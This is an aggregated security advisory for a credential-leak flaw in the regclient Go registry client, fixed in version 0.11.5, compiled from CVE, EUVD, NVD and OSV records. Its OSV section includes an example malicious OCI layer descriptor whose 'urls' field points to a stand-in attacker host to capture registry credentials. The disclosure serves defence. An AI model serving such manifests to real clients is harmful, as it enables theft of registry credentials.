GHSA-qvqc-4c52-x6qpPublished

regclient may leak authentication credentials to external blob stores

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cve-program · CVE-2026-49349

Published

regclient is a Docker and OCI Registry Client in Go. Prior to version 0.11.5, credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs. Version 0.11.5 fixes the issue.

Source published: 12 Aug 2026 14:11:58 UTC
Source modified: 12 Aug 2026 14:35:58 UTC
Saved here: 23 Oct 2026 15:48:27 UTC
Source terms: CVE Program Terms of Use

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CVSS 3.1 · 6.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N

euvd · EUVD-2026-57221

Published

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datePublished: Aug 12, 2026, 2:11:58 PM

dateUpdated: Aug 12, 2026, 2:35:58 PM

Source published: Aug 12, 2026, 2:11:58 PM (timezone not stated)
Source modified: Aug 12, 2026, 2:35:58 PM (timezone not stated)
Saved here: 13 Nov 2026 14:00:40 UTC
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EUVD CVSS 3.1 · 6.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N

nvd · CVE-2026-49349

Published

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Source analysis status: Deferred

Weakness classifications: CWE-522

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published: 2026-08-12T15:17:37.507

lastModified: 2026-09-09T20:55:04.493

Source published: 12 Aug 2026 15:17:37 UTC
Source modified: 9 Sep 2026 20:55:04 UTC
Saved here: 25 Oct 2026 12:17:32 UTC
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CVSS 3.1 · [email protected] · Secondary · 6.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N

osv · GHSA-qvqc-4c52-x6qp

Published

Credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs. ## Example attack A malicious registry serves an OCI image manifest containing a layer descriptor with a `urls` field pointing to an attacker controlled host: ```json { "mediaType": "application/vnd.oci.image.layer.v1.tar+gzip", "digest": "sha256:...", "size": 1024, "urls": ["https://malicious.example.org/blobs/sha256/..."] } ``` When regclient fetches the image and the primary blob request to the registry fails, it falls back to the URLs in the layer descriptor. If the external server requests authentication, regclient would send the credentials for the original registry server. ## Timeline - 2026-05-25: Advisory submitted - 2026-05-26: Fix released ## Credit Theodoros Lampropoulos, Threat Detection Engineer, Odyssey Cyber Security

Source published: 26 Jun 2026 22:43:31 UTC
Source modified: 10 Sep 2026 03:50:50 UTC
Saved here: 24 Oct 2026 13:19:41 UTC
Source terms: GitHub Advisory Database · CC-BY-4.0

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CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N

Publisher rating · MODERATE

osv · GO-2026-5822

Published

regclient may leak authentication credentials to external blob stores in github.com/regclient/regclient

Source published: 7 Jul 2026 15:26:32 UTC
Source modified: 7 Jul 2026 16:00:21 UTC
Saved here: 24 Oct 2026 13:19:41 UTC
Source terms: OSV · upstream source license applies

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